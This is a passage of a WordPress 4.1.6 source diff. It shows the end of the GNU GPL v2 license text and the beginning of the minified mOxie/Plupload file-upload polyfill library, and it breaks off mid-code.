+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable.  However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+			    NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+		     END OF TERMS AND CONDITIONS
+
+	    How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License along
+    with this program; if not, write to the Free Software Foundation, Inc.,
+    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+    Gnomovision version 69, Copyright (C) year name of author
+    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, the commands you use may
+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+  `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+  <signature of Ty Coon>, 1 April 1989
+  Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs.  If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.
Index: /tags/4.1.6/src/wp-includes/js/plupload/plupload.full.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/plupload/plupload.full.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/plupload/plupload.full.min.js	(revision 33402)
@@ -0,0 +1,28 @@
+/**
+ * mOxie - multi-runtime File API & XMLHttpRequest L2 Polyfill
+ * v1.2.0
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ *
+ * Date: 2014-01-16
+ */
+!function(e,t){"use strict";function n(e,t){for(var n,i=[],r=0;r<e.length;++r){if(n=s[e[r]]||o(e[r]),!n)throw"module definition dependecy not found: "+e[r];i.push(n)}t.apply(null,i)}function i(e,i,r){if("string"!=typeof e)throw"invalid module definition, module id must be defined and be a string";if(i===t)throw"invalid module definition, dependencies must be specified";if(r===t)throw"invalid module definition, definition function must be specified";n(i,function(){s[e]=r.apply(null,arguments)})}function r(e){return!!s[e]}function o(t){for(var n=e,i=t.split(/[.\/]/),r=0;r<i.length;++r){if(!n[i[r]])return;n=n[i[r]]}return n}function a(n){for(var i=0;i<n.length;i++){for(var r=e,o=n[i],a=o.split(/[.\/]/),u=0;u<a.length-1;++u)r[a[u]]===t&&(r[a[u]]={}),r=r[a[u]];r[a[a.length-1]]=s[o]}}var s={},u="moxie/core/utils/Basic",c="moxie/core/I18n",l="moxie/core/utils/Mime",d="moxie/core/utils/Env",f="moxie/core/utils/Dom",p="moxie/core/Exceptions",h="moxie/core/EventTarget",m="moxie/core/utils/Encode",g="moxie/runtime/Runtime",v="moxie/runtime/RuntimeClient",y="moxie/file/Blob",w="moxie/file/File",E="moxie/file/FileInput",_="moxie/file/FileDrop",x="moxie/runtime/RuntimeTarget",R="moxie/file/FileReader",b="moxie/core/utils/Url",T="moxie/file/FileReaderSync",S="moxie/xhr/FormData",A="moxie/xhr/XMLHttpRequest",O="moxie/runtime/Transporter",I="moxie/image/Image",D="moxie/runtime/html5/Runtime",N="moxie/runtime/html5/file/Blob",L="moxie/core/utils/Events",M="moxie/runtime/html5/file/FileInput",C="moxie/runtime/html5/file/FileDrop",F="moxie/runtime/html5/file/FileReader",H="moxie/runtime/html5/xhr/XMLHttpRequest",P="moxie/runtime/html5/utils/BinaryReader",k="moxie/runtime/html5/image/JPEGHeaders",U="moxie/runtime/html5/image/ExifParser",B="moxie/runtime/html5/image/JPEG",z="moxie/runtime/html5/image/PNG",G="moxie/runtime/html5/image/ImageInfo",q="moxie/runtime/html5/image/MegaPixel",X="moxie/runtime/html5/image/Image",j="moxie/runtime/flash/Runtime",V="moxie/runtime/flash/file/Blob",W="moxie/runtime/flash/file/FileInput",Y="moxie/runtime/flash/file/FileReader",$="moxie/runtime/flash/file/FileReaderSync",J="moxie/runtime/flash/xhr/XMLHttpRequest",Z="moxie/runtime/flash/runtime/Transporter",K="moxie/runtime/flash/image/Image",Q="moxie/runtime/silverlight/Runtime",et="moxie/runtime/silverlight/file/Blob",tt="moxie/runtime/silverlight/file/FileInput",nt="moxie/runtime/silverlight/file/FileDrop",it="moxie/runtime/silverlight/file/FileReader",rt="moxie/runtime/silverlight/file/FileReaderSync",ot="moxie/runtime/silverlight/xhr/XMLHttpRequest",at="moxie/runtime/silverlight/runtime/Transporter",st="moxie/runtime/silverlight/image/Image",ut="moxie/runtime/html4/Runtime",ct="moxie/runtime/html4/file/FileInput",lt="moxie/runtime/html4/file/FileReader",dt="moxie/runtime/html4/xhr/XMLHttpRequest",ft="moxie/runtime/html4/image/Image";i(u,[],function(){var e=function(e){var t;return e===t?"undefined":null===e?"null":e.nodeType?"node":{}.toString.call(e).match(/\s([a-z|A-Z]+)/)[1].toLowerCase()},t=function(i){var r;return n(arguments,function(o,s){s>0&&n(o,function(n,o){n!==r&&(e(i[o])===e(n)&&~a(e(n),["array","object"])?t(i[o],n):i[o]=n)})}),i},n=function(e,t){var n,i,r,o;if(e){try{n=e.length}catch(a){n=o}if(n===o){for(i in e)if(e.hasOwnProperty(i)&&t(e[i],i)===!1)return}else for(r=0;n>r;r++)if(t(e[r],r)===!1)return}},i=function(t){var n;if(!t||"object"!==e(t))return!0;for(n in t)return!1;return!0},r=function(t,n){function i(r){"function"===e(t[r])&&t[r](function(e){++r<o&&!e?i(r):n(e)})}var r=0,o=t.length;"function"!==e(n)&&(n=function(){}),t&&t.length||n(),i(r)},o=function(e,t){var i=0,r=e.length,o=new Array(r);n(e,function(e,n){e(function(e){if(e)return t(e);var a=[].slice.call(arguments);a.shift(),o[n]=a,i++,i===r&&(o.unshift(null),t.apply(this,o))})})},a=function(e,t){if(t){if(Array.prototype.indexOf)return Array.prototype.indexOf.call(t,e);for(var n=0,i=t.length;i>n;n++)if(t[n]===e)return n}return-1},s=function(t,n){var i=[];"array"!==e(t)&&(t=[t]),"array"!==e(n)&&(n=[n]);for(var r in t)-1===a(t[r],n)&&i.push(t[r]);return i.length?i:!1},u=function(e,t){var i=[];return n(e,function(e){-1!==a(e,t)&&i.push(e)}),i.length?i:null},c=function(e){var t,n=[];for(t=0;t<e.length;t++)n[t]=e[t];return n},l=function(){var e=0;return function(t){var n=(new Date).getTime().toString(32),i;for(i=0;5>i;i++)n+=Math.floor(65535*Math.random()).toString(32);return(t||"o_")+n+(e++).toString(32)}}(),d=function(e){return e?String.prototype.trim?String.prototype.trim.call(e):e.toString().replace(/^\s*/,"").replace(/\s*$/,""):e},f=function(e){if("string"!=typeof e)return e;var t={t:1099511627776,g:1073741824,m:1048576,k:1024},n;return e=/^([0-9]+)([mgk]?)$/.exec(e.toLowerCase().replace(/[^0-9mkg]/g,"")),n=e[2],e=+e[1],t.hasOwnProperty(n)&&(e*=t[n]),e};return{guid:l,typeOf:e,extend:t,each:n,isEmptyObj:i,inSeries:r,inParallel:o,inArray:a,arrayDiff:s,arrayIntersect:u,toArray:c,trim:d,parseSizeStr:f}}),i(c,[u],function(e){var t={};return{addI18n:function(n){return e.extend(t,n)},translate:function(e){return t[e]||e},_:function(e){return this.translate(e)},sprintf:function(t){var n=[].slice.call(arguments,1);return t.replace(/%[a-z]/g,function(){var t=n.shift();return"undefined"!==e.typeOf(t)?t:""})}}}),i(l,[u,c],function(e,t){var n="application/msword,doc dot,application/pdf,pdf,application/pgp-signature,pgp,application/postscript,ps ai eps,application/rtf,rtf,application/vnd.ms-excel,xls xlb,application/vnd.ms-powerpoint,ppt pps pot,application/zip,zip,application/x-shockwave-flash,swf swfl,application/vnd.openxmlformats-officedocument.wordprocessingml.document,docx,application/vnd.openxmlformats-officedocument.wordprocessingml.template,dotx,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,xlsx,application/vnd.openxmlformats-officedocument.presentationml.presentation,pptx,application/vnd.openxmlformats-officedocument.presentationml.template,potx,application/vnd.openxmlformats-officedocument.presentationml.slideshow,ppsx,application/x-javascript,js,application/json,json,audio/mpeg,mp3 mpga mpega mp2,audio/x-wav,wav,audio/x-m4a,m4a,audio/ogg,oga ogg,audio/aiff,aiff aif,audio/flac,flac,audio/aac,aac,audio/ac3,ac3,audio/x-ms-wma,wma,image/bmp,bmp,image/gif,gif,image/jpeg,jpg jpeg jpe,image/photoshop,psd,image/png,png,image/svg+xml,svg svgz,image/tiff,tiff tif,text/plain,asc txt text diff log,text/html,htm html xhtml,text/css,css,text/csv,csv,text/rtf,rtf,video/mpeg,mpeg mpg mpe m2v,video/quicktime,qt mov,video/mp4,mp4,video/x-m4v,m4v,video/x-flv,flv,video/x-ms-wmv,wmv,video/avi,avi,video/webm,webm,video/3gpp,3gpp 3gp,video/3gpp2,3g2,video/vnd.rn-realvideo,rv,video/ogg,ogv,video/x-matroska,mkv,application/vnd.oasis.opendocument.formula-template,otf,application/octet-stream,exe",i={mimes:{},extensions:{},addMimeType:function(e){var t=e.split(/,/),n,i,r;for(n=0;n<t.length;n+=2){for(r=t[n+1].split(/ /),i=0;i<r.length;i++)this.mimes[r[i]]=t[n];this.extensions[t[n]]=r}},extList2mimes:function(t,n){var i=this,r,o,a,s,u=[];for(o=0;o<t.length;o++)for(r=t[o].extensions.split(/\s*,\s*/),a=0;a<r.length;a++){if("*"===r[a])return[];if(s=i.mimes[r[a]])-1===e.inArray(s,u)&&u.push(s);else{if(!n||!/^\w+$/.test(r[a]))return[];u.push("."+r[a])}}return u},mimes2exts:function(t){var n=this,i=[];return e.each(t,function(t){if("*"===t)return i=[],!1;var r=t.match(/^(\w+)\/(\*|\w+)$/);r&&("*"===r[2]?e.each(n.extensions,function(e,t){new RegExp("^"+r[1]+"/").test(t)&&[].push.apply(i,n.extensions[t])}):n.extensions[t]&&[].push.apply(i,n.extensions[t]))}),i},mimes2extList:function(n){var i=[],r=[];return"string"===e.typeOf(n)&&(n=e.trim(n).split(/\s*,\s*/)),r=this.mimes2exts(n),i.push({title:t.translate("Files"),extensions:r.length?r.join(","):"*"}),i.mimes=n,i},getFileExtension:function(e){var t=e&&e.match(/\.([^.]+)$/);return t?t[1].toLowerCase():""},getFileMime:function(e){return this.mimes[this.getFileExtension(e)]||""}};return i.addMimeType(n),i}),i(d,[u],function(e){function t(e,t,n){var i=0,r=0,o=0,a={dev:-6,alpha:-5,a:-5,beta:-4,b:-4,RC:-3,rc:-3,"#":-2,p:1,pl:1},s=function(e){return e=(""+e).replace(/[_\-+]/g,"."),e=e.replace(/([^.\d]+)/g,".$1.").replace(/\.{2,}/g,"."),e.length?e.split("."):[-8]},u=function(e){return e?isNaN(e)?a[e]||-7:parseInt(e,10):0};for(e=s(e),t=s(t),r=Math.max(e.length,t.length),i=0;r>i;i++)if(e[i]!=t[i]){if(e[i]=u(e[i]),t[i]=u(t[i]),e[i]<t[i]){o=-1;break}if(e[i]>t[i]){o=1;break}}if(!n)return o;switch(n){case">":case"gt":return o>0;case">=":case"ge":return o>=0;case"<=":case"le":return 0>=o;case"==":case"=":case"eq":return 0===o;case"<>":case"!=":case"ne":return 0!==o;case"":case"<":case"lt":return 0>o;default:return null}}var n=function(e){var t="",n="?",i="function",r="undefined",o="object",a="major",s="model",u="name",c="type",l="vendor",d="version",f="architecture",p="console",h="mobile",m="tablet",g={has:function(e,t){return-1!==t.toLowerCase().indexOf(e.toLowerCase())},lowerize:function(e){return e.toLowerCase()}},v={rgx:function(){for(var t,n=0,a,s,u,c,l,d,f=arguments;n<f.length;n+=2){var p=f[n],h=f[n+1];if(typeof t===r){t={};for(u in h)c=h[u],typeof c===o?t[c[0]]=e:t[c]=e}for(a=s=0;a<p.length;a++)if(l=p[a].exec(this.getUA())){for(u=0;u<h.length;u++)d=l[++s],c=h[u],typeof c===o&&c.length>0?2==c.length?t[c[0]]=typeof c[1]==i?c[1].call(this,d):c[1]:3==c.length?t[c[0]]=typeof c[1]!==i||c[1].exec&&c[1].test?d?d.replace(c[1],c[2]):e:d?c[1].call(this,d,c[2]):e:4==c.length&&(t[c[0]]=d?c[3].call(this,d.replace(c[1],c[2])):e):t[c]=d?d:e;break}if(l)break}return t},str:function(t,i){for(var r in i)if(typeof i[r]===o&&i[r].length>0){for(var a=0;a<i[r].length;a++)if(g.has(i[r][a],t))return r===n?e:r}else if(g.has(i[r],t))return r===n?e:r;return t}},y={browser:{oldsafari:{major:{1:["/8","/1","/3"],2:"/4","?":"/"},version:{"1.0":"/8",1.2:"/1",1.3:"/3","2.0":"/412","2.0.2":"/416","2.0.3":"/417","2.0.4":"/419","?":"/"}}},device:{sprint:{model:{"Evo Shift 4G":"7373KT"},vendor:{HTC:"APA",Sprint:"Sprint"}}},os:{windows:{version:{ME:"4.90","NT 3.11":"NT3.51","NT 4.0":"NT4.0",2000:"NT 5.0",XP:["NT 5.1","NT 5.2"],Vista:"NT 6.0",7:"NT 6.1",8:"NT 6.2",8.1:"NT 6.3",RT:"ARM"}}}},w={browser:[[/(opera\smini)\/((\d+)?[\w\.-]+)/i,/(opera\s[mobiletab]+).+version\/((\d+)?[\w\.-]+)/i,/(opera).+version\/((\d+)?[\w\.]+)/i,/(opera)[\/\s]+((\d+)?[\w\.]+)/i],[u,d,a],[/\s(opr)\/((\d+)?[\w\.]+)/i],[[u,"Opera"],d,a],[/(kindle)\/((\d+)?[\w\.]+)/i,/(lunascape|maxthon|netfront|jasmine|blazer)[\/\s]?((\d+)?[\w\.]+)*/i,/(avant\s|iemobile|slim|baidu)(?:browser)?[\/\s]?((\d+)?[\w\.]*)/i,/(?:ms|\()(ie)\s((\d+)?[\w\.]+)/i,/(rekonq)((?:\/)[\w\.]+)*/i,/(chromium|flock|rockmelt|midori|epiphany|silk|skyfire|ovibrowser|bolt|iron)\/((\d+)?[\w\.-]+)/i],[u,d,a],[/(trident).+rv[:\s]((\d+)?[\w\.]+).+like\sgecko/i],[[u,"IE"],d,a],[/(yabrowser)\/((\d+)?[\w\.]+)/i],[[u,"Yandex"],d,a],[/(comodo_dragon)\/((\d+)?[\w\.]+)/i],[[u,/_/g," "],d,a],[/(chrome|omniweb|arora|[tizenoka]{5}\s?browser)\/v?((\d+)?[\w\.]+)/i],[u,d,a],[/(dolfin)\/((\d+)?[\w\.]+)/i],[[u,"Dolphin"],d,a],[/((?:android.+)crmo|crios)\/((\d+)?[\w\.]+)/i],[[u,"Chrome"],d,a],[/((?:android.+))version\/((\d+)?[\w\.]+)\smobile\ssafari/i],[[u,"Android Browser"],d,a],[/version\/((\d+)?[\w\.]+).+?mobile\/\w+\s(safari)/i],[d,a,[u,"Mobile Safari"]],[/version\/((\d+)?[\w\.]+).+?(mobile\s?safari|safari)/i],[d,a,u],[/webkit.+?(mobile\s?safari|safari)((\/[\w\.]+))/i],[u,[a,v.str,y.browser.oldsafari.major],[d,v.str,y.browser.oldsafari.version]],[/(konqueror)\/((\d+)?[\w\.]+)/i,/(webkit|khtml)\/((\d+)?[\w\.]+)/i],[u,d,a],[/(navigator|netscape)\/((\d+)?[\w\.-]+)/i],[[u,"Netscape"],d,a],[/(swiftfox)/i,/(icedragon|iceweasel|camino|chimera|fennec|maemo\sbrowser|minimo|conkeror)[\/\s]?((\d+)?[\w\.\+]+)/i,/(firefox|seamonkey|k-meleon|icecat|iceape|firebird|phoenix)\/((\d+)?[\w\.-]+)/i,/(mozilla)\/((\d+)?[\w\.]+).+rv\:.+gecko\/\d+/i,/(uc\s?browser|polaris|lynx|dillo|icab|doris|amaya|w3m|netsurf|qqbrowser)[\/\s]?((\d+)?[\w\.]+)/i,/(links)\s\(((\d+)?[\w\.]+)/i,/(gobrowser)\/?((\d+)?[\w\.]+)*/i,/(ice\s?browser)\/v?((\d+)?[\w\._]+)/i,/(mosaic)[\/\s]((\d+)?[\w\.]+)/i],[u,d,a]],engine:[[/(presto)\/([\w\.]+)/i,/(webkit|trident|netfront|netsurf|amaya|lynx|w3m)\/([\w\.]+)/i,/(khtml|tasman|links)[\/\s]\(?([\w\.]+)/i,/(icab)[\/\s]([23]\.[\d\.]+)/i],[u,d],[/rv\:([\w\.]+).*(gecko)/i],[d,u]],os:[[/(windows)\snt\s6\.2;\s(arm)/i,/(windows\sphone(?:\sos)*|windows\smobile|windows)[\s\/]?([ntce\d\.\s]+\w)/i],[u,[d,v.str,y.os.windows.version]],[/(win(?=3|9|n)|win\s9x\s)([nt\d\.]+)/i],[[u,"Windows"],[d,v.str,y.os.windows.version]],[/\((bb)(10);/i],[[u,"BlackBerry"],d],[/(blackberry)\w*\/?([\w\.]+)*/i,/(tizen)\/([\w\.]+)/i,/(android|webos|palm\os|qnx|bada|rim\stablet\sos|meego)[\/\s-]?([\w\.]+)*/i],[u,d],[/(symbian\s?os|symbos|s60(?=;))[\/\s-]?([\w\.]+)*/i],[[u,"Symbian"],d],[/mozilla.+\(mobile;.+gecko.+firefox/i],[[u,"Firefox OS"],d],[/(nintendo|playstation)\s([wids3portablevu]+)/i,/(mint)[\/\s\(]?(\w+)*/i,/(joli|[kxln]?ubuntu|debian|[open]*suse|gentoo|arch|slackware|fedora|mandriva|centos|pclinuxos|redhat|zenwalk)[\/\s-]?([\w\.-]+)*/i,/(hurd|linux)\s?([\w\.]+)*/i,/(gnu)\s?([\w\.]+)*/i],[u,d],[/(cros)\s[\w]+\s([\w\.]+\w)/i],[[u,"Chromium OS"],d],[/(sunos)\s?([\w\.]+\d)*/i],[[u,"Solaris"],d],[/\s([frentopc-]{0,4}bsd|dragonfly)\s?([\w\.]+)*/i],[u,d],[/(ip[honead]+)(?:.*os\s*([\w]+)*\slike\smac|;\sopera)/i],[[u,"iOS"],[d,/_/g,"."]],[/(mac\sos\sx)\s?([\w\s\.]+\w)*/i],[u,[d,/_/g,"."]],[/(haiku)\s(\w+)/i,/(aix)\s((\d)(?=\.|\)|\s)[\w\.]*)*/i,/(macintosh|mac(?=_powerpc)|plan\s9|minix|beos|os\/2|amigaos|morphos|risc\sos)/i,/(unix)\s?([\w\.]+)*/i],[u,d]]},E=function(e){var n=e||(window&&window.navigator&&window.navigator.userAgent?window.navigator.userAgent:t);this.getBrowser=function(){return v.rgx.apply(this,w.browser)},this.getEngine=function(){return v.rgx.apply(this,w.engine)},this.getOS=function(){return v.rgx.apply(this,w.os)},this.getResult=function(){return{ua:this.getUA(),browser:this.getBrowser(),engine:this.getEngine(),os:this.getOS()}},this.getUA=function(){return n},this.setUA=function(e){return n=e,this},this.setUA(n)};return(new E).getResult()}(),i=function(){var t={define_property:function(){return!1}(),create_canvas:function(){var e=document.createElement("canvas");return!(!e.getContext||!e.getContext("2d"))}(),return_response_type:function(t){try{if(-1!==e.inArray(t,["","text","document"]))return!0;if(window.XMLHttpRequest){var n=new XMLHttpRequest;if(n.open("get","/"),"responseType"in n)return n.responseType=t,n.responseType!==t?!1:!0}}catch(i){}return!1},use_data_uri:function(){var e=new Image;return e.onload=function(){t.use_data_uri=1===e.width&&1===e.height},setTimeout(function(){e.src="data:image/gif;base64,R0lGODlhAQABAIAAAP8AAAAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw=="},1),!1}(),use_data_uri_over32kb:function(){return t.use_data_uri&&("IE"!==r.browser||r.version>=9)},use_data_uri_of:function(e){return t.use_data_uri&&33e3>e||t.use_data_uri_over32kb()},use_fileinput:function(){var e=document.createElement("input");return e.setAttribute("type","file"),!e.disabled}};return function(n){var i=[].slice.call(arguments);return i.shift(),"function"===e.typeOf(t[n])?t[n].apply(this,i):!!t[n]}}(),r={can:i,browser:n.browser.name,version:parseFloat(n.browser.major),os:n.os.name,osVersion:n.os.version,verComp:t,swf_url:"../flash/Moxie.swf",xap_url:"../silverlight/Moxie.xap",global_event_dispatcher:"moxie.core.EventTarget.instance.dispatchEvent"};return r.OS=r.os,r}),i(f,[d],function(e){var t=function(e){return"string"!=typeof e?e:document.getElementById(e)},n=function(e,t){if(!e.className)return!1;var n=new RegExp("(^|\\s+)"+t+"(\\s+|$)");return n.test(e.className)},i=function(e,t){n(e,t)||(e.className=e.className?e.className.replace(/\s+$/,"")+" "+t:t)},r=function(e,t){if(e.className){var n=new RegExp("(^|\\s+)"+t+"(\\s+|$)");e.className=e.className.replace(n,function(e,t,n){return" "===t&&" "===n?" ":""})}},o=function(e,t){return e.currentStyle?e.currentStyle[t]:window.getComputedStyle?window.getComputedStyle(e,null)[t]:void 0},a=function(t,n){function i(e){var t,n,i=0,r=0;return e&&(n=e.getBoundingClientRect(),t="CSS1Compat"===s.compatMode?s.documentElement:s.body,i=n.left+t.scrollLeft,r=n.top+t.scrollTop),{x:i,y:r}}var r=0,o=0,a,s=document,u,c;if(t=t,n=n||s.body,t&&t.getBoundingClientRect&&"IE"===e.browser&&(!s.documentMode||s.documentMode<8))return u=i(t),c=i(n),{x:u.x-c.x,y:u.y-c.y};for(a=t;a&&a!=n&&a.nodeType;)r+=a.offsetLeft||0,o+=a.offsetTop||0,a=a.offsetParent;for(a=t.parentNode;a&&a!=n&&a.nodeType;)r-=a.scrollLeft||0,o-=a.scrollTop||0,a=a.parentNode;return{x:r,y:o}},s=function(e){return{w:e.offsetWidth||e.clientWidth,h:e.offsetHeight||e.clientHeight}};return{get:t,hasClass:n,addClass:i,removeClass:r,getStyle:o,getPos:a,getSize:s}}),i(p,[u],function(e){function t(e,t){var n;for(n in e)if(e[n]===t)return n;return null}return{RuntimeError:function(){function n(e){this.code=e,this.name=t(i,e),this.message=this.name+": RuntimeError "+this.code}var i={NOT_INIT_ERR:1,NOT_SUPPORTED_ERR:9,JS_ERR:4};return e.extend(n,i),n.prototype=Error.prototype,n}(),OperationNotAllowedException:function(){function t(e){this.code=e,this.name="OperationNotAllowedException"}return e.extend(t,{NOT_ALLOWED_ERR:1}),t.prototype=Error.prototype,t}(),ImageError:function(){function n(e){this.code=e,this.name=t(i,e),this.message=this.name+": ImageError "+this.code}var i={WRONG_FORMAT:1,MAX_RESOLUTION_ERR:2};return e.extend(n,i),n.prototype=Error.prototype,n}(),FileException:function(){function n(e){this.code=e,this.name=t(i,e),this.message=this.name+": FileException "+this.code}var i={NOT_FOUND_ERR:1,SECURITY_ERR:2,ABORT_ERR:3,NOT_READABLE_ERR:4,ENCODING_ERR:5,NO_MODIFICATION_ALLOWED_ERR:6,INVALID_STATE_ERR:7,SYNTAX_ERR:8};return e.extend(n,i),n.prototype=Error.prototype,n}(),DOMException:function(){function n(e){this.code=e,this.name=t(i,e),this.message=this.name+": DOMException "+this.code}var 